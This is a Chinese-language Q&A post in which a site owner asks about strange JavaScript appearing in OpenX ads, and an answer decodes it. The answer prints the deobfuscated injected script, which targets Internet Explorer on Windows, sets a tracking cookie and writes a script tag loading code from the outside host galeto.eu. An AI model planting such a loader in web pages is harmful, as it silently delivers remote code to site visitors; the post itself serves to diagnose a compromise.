OpenX显示奇怪的JavaScript代码

Question

我在我的网站上运行OpenX Ad服务器，最近我注意到广告中显示的奇怪代码。我不确定这是否是OpenX代码的一部分，或者应用程序是否以某种方式受到了损害。也许拥有javascript知识的人可以为我解释这一点。这是代码：

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Answer 1

评估时，混淆代码将定义此函数并执行它：

function anonymous() {
    d=document;ua=navigator.userAgent;
    if(d._zx===undefined && d.cookie.search('_utmud=')==-1 && ua.search('Windows NT ')>0 && ua.search('MSIE ')>0) {
        d._zx=1;d.cookie='__utmud=1; expires=Wed, 01 Jan 2020 00:00:00 UTC; path=/';
        d.writeln("<scr"+"ipt src='http://galeto.eu/5d6206dd.js?cp=www.domain.com'></scri"+"pt>");
    }
}

基本上，它设置了一个cookie并加载了一个额外的JavaScript文件。